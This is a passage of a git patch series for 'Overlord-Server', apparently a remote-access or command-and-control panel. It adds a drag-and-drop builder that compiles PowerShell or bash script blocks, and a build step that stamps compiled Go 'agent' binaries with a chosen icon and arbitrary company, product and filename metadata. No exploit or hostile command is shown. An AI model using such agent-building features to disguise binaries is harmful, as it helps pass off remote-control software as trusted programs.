"bg-purple-900/60" }, + orange: { bg: "bg-orange-900/40", border: "border-orange-700/60", text: "text-orange-300", hover: "hover:bg-orange-800/40", dragBg: "bg-orange-900/60" }, + rose: { bg: "bg-rose-900/40", border: "border-rose-700/60", text: "text-rose-300", hover: "hover:bg-rose-800/40", dragBg: "bg-rose-900/60" }, + slate: { bg: "bg-slate-800/60", border: "border-slate-600", text: "text-slate-300", hover: "hover:bg-slate-700/60", dragBg: "bg-slate-800/80" }, +}; + +let canvasBlocks = []; +let blockIdCounter = 0; +let draggedBlockDef = null; +let dragGhost = null; + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +function findBlockDef(blockId) { + for (const cat of Object.values(BLOCK_CATEGORIES)) { + const found = cat.blocks.find((b) => b.id === blockId); + if (found) return { ...found, color: cat.color }; + } + return null; +} + +function renderPalette(container) { + container.innerHTML = ""; + for (const [catKey, cat] of Object.entries(BLOCK_CATEGORIES)) { + const colors = COLOR_MAP[cat.color] || COLOR_MAP.slate; + const section = document.createElement("div"); + section.className = "mb-3"; + + const header = document.createElement("button"); + header.className = `w-full flex items-center gap-2 px-3 py-2 rounded-lg ${colors.bg} ${colors.border} border text-sm font-semibold ${colors.text} ${colors.hover} transition-colors`; + header.innerHTML = ` ${cat.label} ${cat.blocks.length}`; + header.addEventListener("click", () => { + const list = section.querySelector(".block-list"); + list.classList.toggle("hidden"); + }); + section.appendChild(header); + + const list = document.createElement("div"); + list.className = "block-list flex flex-col gap-1 mt-1 pl-2 hidden"; + + for (const block of cat.blocks) { + const item = document.createElement("div"); + item.className = `flex items-center gap-2 px-3 py-2 rounded-lg border ${colors.border} ${colors.bg} cursor-grab text-sm ${colors.hover} transition-colors select-none`; + item.draggable = true; + item.dataset.blockId = block.id; + item.innerHTML = `${block.label}${block.desc}`; + + item.addEventListener("dragstart", (e) => { + draggedBlockDef = { ...block, color: cat.color }; + e.dataTransfer.effectAllowed = "copy"; + e.dataTransfer.setData("text/plain", block.id); + item.classList.add("opacity-50"); + setTimeout(() => { + document.getElementById("vb-canvas")?.classList.add("ring-2", "ring-emerald-500/40"); + }, 0); + }); + item.addEventListener("dragend", () => { + draggedBlockDef = null; + item.classList.remove("opacity-50"); + document.getElementById("vb-canvas")?.classList.remove("ring-2", "ring-emerald-500/40"); + }); + + list.appendChild(item); + } + + section.appendChild(list); + container.appendChild(section); + } +} + +function addBlockToCanvas(blockDef, fieldValues) { + const instance = { + uid: ++blockIdCounter, + id: blockDef.id, + color: blockDef.color, + label: blockDef.label, + desc: blockDef.desc, + ps: blockDef.ps, + bash: blockDef.bash, + fields: (blockDef.fields || []).map((f) => ({ + ...f, + value: fieldValues?.[f.key] ?? f.default ?? "", + })), + }; + canvasBlocks.push(instance); + renderCanvas(); + updatePreview(); +} + +function renderCanvas() { + const canvas = document.getElementById("vb-canvas"); + if (!canvas) return; + + if (canvasBlocks.length === 0) { + canvas.innerHTML = `
+ + Drag blocks here to build your script +
`; + return; + } + + canvas.innerHTML = ""; + canvasBlocks.forEach((block, idx) => { + const colors = COLOR_MAP[block.color] || COLOR_MAP.slate; + const el = document.createElement("div"); + el.className = `relative group flex flex-col gap-2 p-3 rounded-lg border ${colors.border} ${colors.dragBg} transition-all`; + el.dataset.uid = block.uid; + el.draggable = true; + + let fieldsHtml = ""; + if (block.fields && block.fields.length > 0) { + fieldsHtml = block.fields + .map((f) => { + if (f.textarea) { + return `
+ + +
`; + } + return `
+ + +
`; + }) + .join(""); + } + + el.innerHTML = ` +
+ ${idx + 1} + ${escapeHtml(block.label)} + ${escapeHtml(block.desc)} +
+ + + + +
+
+ ${fieldsHtml ? `
${fieldsHtml}
` : ""} + `; + + el.addEventListener("dragstart", (e) => { + e.dataTransfer.effectAllowed = "move"; + e.dataTransfer.setData("text/plain", `move:${block.uid}`); + el.classList.add("opacity-50"); + }); + el.addEventListener("dragend", () => el.classList.remove("opacity-50")); + el.addEventListener("dragover", (e) => { + e.preventDefault(); + e.dataTransfer.dropEffect = "move"; + el.classList.add("ring-1", "ring-emerald-400/60"); + }); + el.addEventListener("dragleave", () => el.classList.remove("ring-1", "ring-emerald-400/60")); + el.addEventListener("drop", (e) => { + e.preventDefault(); + el.classList.remove("ring-1", "ring-emerald-400/60"); + const data = e.dataTransfer.getData("text/plain"); + if (data.startsWith("move:")) { + const fromUid = parseInt(data.split(":")[1]); + const fromIdx = canvasBlocks.findIndex((b) => b.uid === fromUid); + const toIdx = canvasBlocks.findIndex((b) => b.uid === block.uid); + if (fromIdx !== -1 && toIdx !== -1 && fromIdx !== toIdx) { + const [moved] = canvasBlocks.splice(fromIdx, 1); + canvasBlocks.splice(toIdx, 0, moved); + renderCanvas(); + updatePreview(); + } + } + }); + + canvas.appendChild(el); + }); + + canvas.querySelectorAll(".block-field").forEach((input) => { + input.addEventListener("input", () => { + const uid = parseInt(input.dataset.uid); + const fieldKey = input.dataset.field; + const block = canvasBlocks.find((b) => b.uid === uid); + if (block) { + const field = block.fields.find((f) => f.key === fieldKey); + if (field) field.value = input.value; + updatePreview(); + } + }); + }); + + canvas.querySelectorAll(".vb-remove").forEach((btn) => { + btn.addEventListener("click", () => { + const uid = parseInt(btn.dataset.uid); + canvasBlocks = canvasBlocks.filter((b) => b.uid !== uid); + renderCanvas(); + updatePreview(); + }); + }); + + canvas.querySelectorAll(".vb-dup").forEach((btn) => { + btn.addEventListener("click", () => { + const uid = parseInt(btn.dataset.uid); + const orig = canvasBlocks.find((b) => b.uid === uid); + if (!orig) return; + const clone = { ...orig, uid: ++blockIdCounter, fields: orig.fields.map((f) => ({ ...f })) }; + const idx = canvasBlocks.findIndex((b) => b.uid === uid); + canvasBlocks.splice(idx + 1, 0, clone); + renderCanvas(); + updatePreview(); + }); + }); + + canvas.querySelectorAll(".vb-move-up").forEach((btn) => { + btn.addEventListener("click", () => { + const uid = parseInt(btn.dataset.uid); + const idx = canvasBlocks.findIndex((b) => b.uid === uid); + if (idx > 0) { + [canvasBlocks[idx - 1], canvasBlocks[idx]] = [canvasBlocks[idx], canvasBlocks[idx - 1]]; + renderCanvas(); + updatePreview(); + } + }); + }); + + canvas.querySelectorAll(".vb-move-down").forEach((btn) => { + btn.addEventListener("click", () => { + const uid = parseInt(btn.dataset.uid); + const idx = canvasBlocks.findIndex((b) => b.uid === uid); + if (idx < canvasBlocks.length - 1) { + [canvasBlocks[idx], canvasBlocks[idx + 1]] = [canvasBlocks[idx + 1], canvasBlocks[idx]]; + renderCanvas(); + updatePreview(); + } + }); + }); +} + +function compileBlocks(scriptMode) { + const isPowerShell = scriptMode === "powershell" || scriptMode === "cmd"; + return canvasBlocks + .map((block) => { + let template = isPowerShell ? block.ps : block.bash; + if (block.fields) { + for (const f of block.fields) { + template = template.replaceAll(`{${f.key}}`, f.value || f.placeholder || ""); + } + } + return template; + }) + .join("\n"); +} + +function updatePreview() { + const preview = document.getElementById("vb-preview"); + const typeSelect = document.getElementById("vb-script-type"); + if (!preview || !typeSelect) return; + const mode = typeSelect.value; + const compiled = compileBlocks(mode); + preview.textContent = compiled || "(empty — add blocks to the canvas)"; +} + +export function initVisualBuilder(builderContainer) { + builderContainer.innerHTML = ` +
+
+
+ Block Palette +
+
+ +
+
+
+
+
+
+ Canvas + 0 blocks +
+ +
+
+
+ + Drag blocks here to build your script +
+
+
+
+
+
+ Generated Script +
+
+ + + +
+
+
(empty — add blocks to the canvas)
+
+
+ `; + + const palette = document.getElementById("vb-palette"); + const canvas = document.getElementById("vb-canvas"); + const clearBtn = document.getElementById("vb-clear-canvas"); + const copyBtn = document.getElementById("vb-copy"); + const sendBtn = document.getElementById("vb-send-to-editor"); + const typeSelect = document.getElementById("vb-script-type"); + const paletteSearch = document.getElementById("vb-palette-search"); + + renderPalette(palette); + + canvas.addEventListener("dragover", (e) => { + e.preventDefault(); + e.dataTransfer.dropEffect = draggedBlockDef ? "copy" : "move"; + }); + + canvas.addEventListener("drop", (e) => { + e.preventDefault(); + canvas.classList.remove("ring-2", "ring-emerald-500/40"); + const data = e.dataTransfer.getData("text/plain"); + if (data.startsWith("move:")) return; + if (draggedBlockDef) { + addBlockToCanvas(draggedBlockDef); + draggedBlockDef = null; + } + }); + + clearBtn.addEventListener("click", () => { + if (canvasBlocks.length === 0) return; + if (!confirm("Clear all blocks from the canvas?")) return; + canvasBlocks = []; + renderCanvas(); + updatePreview(); + }); + + copyBtn.addEventListener("click", () => { + const preview = document.getElementById("vb-preview"); + if (preview) { + navigator.clipboard.writeText(preview.textContent).then(() => { + copyBtn.innerHTML = ' Copied'; + setTimeout(() => { copyBtn.innerHTML = ' Copy'; }, 1500); + }); + } + }); + + sendBtn.addEventListener("click", () => { + const mode = typeSelect.value; + const compiled = compileBlocks(mode); + if (!compiled.trim()) { + alert("Canvas is empty — add some blocks first."); + return; + } + const editorTA = document.getElementById("script-editor"); + const scriptTypeSelect = document.getElementById("script-type"); + if (window._vbCodeMirror) { + window._vbCodeMirror.setValue(compiled); + } else if (editorTA) { + editorTA.value = compiled; + } + if (scriptTypeSelect) scriptTypeSelect.value = mode; + + const toggle = document.getElementById("mode-toggle-code"); + if (toggle) toggle.click(); + + if (typeof showToast === "function") showToast("Script sent to editor", "success", 2500); + }); + + typeSelect.addEventListener("change", updatePreview); + + paletteSearch.addEventListener("input", () => { + const term = paletteSearch.value.toLowerCase(); + palette.querySelectorAll("[data-block-id]").forEach((el) => { + const id = el.dataset.blockId; + const def = findBlockDef(id); + if (!def) return; + const match = !term || def.label.toLowerCase().includes(term) || def.desc.toLowerCase().includes(term) || def.id.toLowerCase().includes(term); + el.style.display = match ? "" : "none"; + }); + }); + + const observer = new MutationObserver(() => { + const countEl = document.getElementById("vb-block-count"); + if (countEl) countEl.textContent = `${canvasBlocks.length} block${canvasBlocks.length !== 1 ? "s" : ""}`; + }); + observer.observe(canvas, { childList: true }); +} + +export function getCompiledScript(mode) { + return compileBlocks(mode || "powershell"); +} + +export function getCanvasBlocks() { + return canvasBlocks; +} + +export function clearCanvas() { + canvasBlocks = []; + renderCanvas(); + updatePreview(); +} diff --git a/Overlord-Server/public/scripts.html b/Overlord-Server/public/scripts.html index 9e3674e..36816f5 100644 --- a/Overlord-Server/public/scripts.html +++ b/Overlord-Server/public/scripts.html @@ -79,8 +79,27 @@
+ +
+
+ + +
+
+ + + + -
+

Script Editor

From 68062afc4f0d055b35253cac4157823de782234b Mon Sep 17 00:00:00 2001 From: "K.Dot" <110929758+KingKDot@users.noreply.github.com> Date: Mon, 16 Mar 2026 18:30:16 -0500 Subject: [PATCH 7/7] Potential fix for pull request finding Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- Overlord-Server/src/server/build-process.ts | 134 +++++++++++--------- 1 file changed, 77 insertions(+), 57 deletions(-) diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index c36a704..7ff1325 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -413,70 +413,90 @@ export async function startBuildProcess( } if (hasWinres) { - sendToStream({ type: "output", text: `Using go-winres: ${winresBin}\n`, level: "info" }); - winresTempDir = path.join(outDir, `.winres-${buildId.substring(0, 8)}`); - fs.mkdirSync(winresTempDir, { recursive: true }); + const agentDir = path.join(clientDir, "cmd", "agent"); + const winresLockPath = path.join(agentDir, ".winres.lock"); - const winresConfig: any = {}; - - if (config.iconBase64) { + if (fs.existsSync(winresLockPath)) { + sendToStream({ + type: "output", + text: "WARNING: Another build is currently generating Windows resources for this client. Skipping winres for this build.\n", + level: "warn", + }); + } else { + // Acquire a simple lock so only one build at a time touches cmd/agent/*.syso + fs.writeFileSync(winresLockPath, String(process.pid)); try { - const iconBuffer = Buffer.from(config.iconBase64, "base64"); - const iconPath = path.join(winresTempDir, "icon.ico"); - fs.writeFileSync(iconPath, iconBuffer); - winresConfig["RT_GROUP_ICON"] = { "#1": { "0000": "icon.ico" } }; - sendToStream({ type: "output", text: `Icon embedded (${iconBuffer.length} bytes)\n`, level: "info" }); - } catch (iconErr: any) { - sendToStream({ type: "output", text: `WARNING: Failed to process icon: ${iconErr.message}. Skipping icon.\n`, level: "warn" }); - } - } + sendToStream({ type: "output", text: `Using go-winres: ${winresBin}\n`, level: "info" }); + winresTempDir = path.join(outDir, `.winres-${buildId.substring(0, 8)}`); + fs.mkdirSync(winresTempDir, { recursive: true }); - const versionStr = config.assemblyVersion || "0.0.0.0"; - const versionInfo: any = { - "0409": { - "FileDescription": config.assemblyTitle || "", - "ProductName": config.assemblyProduct || "", - "CompanyName": config.assemblyCompany || "", - "FileVersion": versionStr, - "ProductVersion": versionStr, - "LegalCopyright": config.assemblyCopyright || "", - "OriginalFilename": config.outputName ? (config.outputName + ".exe") : "", - }, - }; + const winresConfig: any = {}; - winresConfig["RT_VERSION"] = { - "#1": { - "0000": { - "fixed": { - "file_version": versionStr, - "product_version": versionStr, - }, - "info": versionInfo, - }, - }, - }; - - const winresJsonPath = path.join(winresTempDir, "winres.json"); - fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2)); - sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" }); - - const sysoOutPrefix = path.join(clientDir, "cmd", "agent", "rsrc"); - try { - const winresResult = await $`${winresBin} make --in ${winresJsonPath} --out ${sysoOutPrefix}`.cwd(winresTempDir).nothrow().quiet(); - if (winresResult.exitCode !== 0) { - const stderr = winresResult.stderr.toString().trim(); - sendToStream({ type: "output", text: `WARNING: go-winres failed (exit ${winresResult.exitCode}): ${stderr}\nBuilding without assembly data.\n`, level: "warn" }); - } else { - const agentDir = path.join(clientDir, "cmd", "agent"); - for (const f of fs.readdirSync(agentDir)) { - if (f.startsWith("rsrc") && f.endsWith(".syso")) { - generatedSysoFiles.push(path.join(agentDir, f)); + if (config.iconBase64) { + try { + const iconBuffer = Buffer.from(config.iconBase64, "base64"); + const iconPath = path.join(winresTempDir, "icon.ico"); + fs.writeFileSync(iconPath, iconBuffer); + winresConfig["RT_GROUP_ICON"] = { "#1": { "0000": "icon.ico" } }; + sendToStream({ type: "output", text: `Icon embedded (${iconBuffer.length} bytes)\n`, level: "info" }); + } catch (iconErr: any) { + sendToStream({ type: "output", text: `WARNING: Failed to process icon: ${iconErr.message}. Skipping icon.\n`, level: "warn" }); } } - sendToStream({ type: "output", text: `Windows resources generated (${generatedSysoFiles.length} .syso files)\n`, level: "info" }); + + const versionStr = config.assemblyVersion || "0.0.0.0"; + const versionInfo: any = { + "0409": { + "FileDescription": config.assemblyTitle || "", + "ProductName": config.assemblyProduct || "", + "CompanyName": config.assemblyCompany || "", + "FileVersion": versionStr, + "ProductVersion": versionStr, + "LegalCopyright": config.assemblyCopyright || "", + "OriginalFilename": config.outputName ? (config.outputName + ".exe") : "", + }, + }; + + winresConfig["RT_VERSION"] = { + "#1": { + "0000": { + "fixed": { + "file_version": versionStr, + "product_version": versionStr, + }, + "info": versionInfo, + }, + }, + }; + + const winresJsonPath = path.join(winresTempDir, "winres.json"); + fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2)); + sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" }); + + const sysoOutPrefix = path.join(agentDir, "rsrc"); + try { + const winresResult = await $`${winresBin} make --in ${winresJsonPath} --out ${sysoOutPrefix}`.cwd(winresTempDir).nothrow().quiet(); + if (winresResult.exitCode !== 0) { + const stderr = winresResult.stderr.toString().trim(); + sendToStream({ type: "output", text: `WARNING: go-winres failed (exit ${winresResult.exitCode}): ${stderr}\nBuilding without assembly data.\n`, level: "warn" }); + } else { + for (const f of fs.readdirSync(agentDir)) { + if (f.startsWith("rsrc") && f.endsWith(".syso")) { + generatedSysoFiles.push(path.join(agentDir, f)); + } + } + sendToStream({ type: "output", text: `Windows resources generated (${generatedSysoFiles.length} .syso files)\n`, level: "info" }); + } + } catch (winresErr: any) { + sendToStream({ type: "output", text: `WARNING: go-winres failed: ${winresErr.message || winresErr}. Building without assembly data.\n`, level: "warn" }); + } + } finally { + try { + fs.unlinkSync(winresLockPath); + } catch { + // ignore errors removing the lock + } } - } catch (winresErr: any) { - sendToStream({ type: "output", text: `WARNING: go-winres failed: ${winresErr.message || winresErr}. Building without assembly data.\n`, level: "warn" }); } } }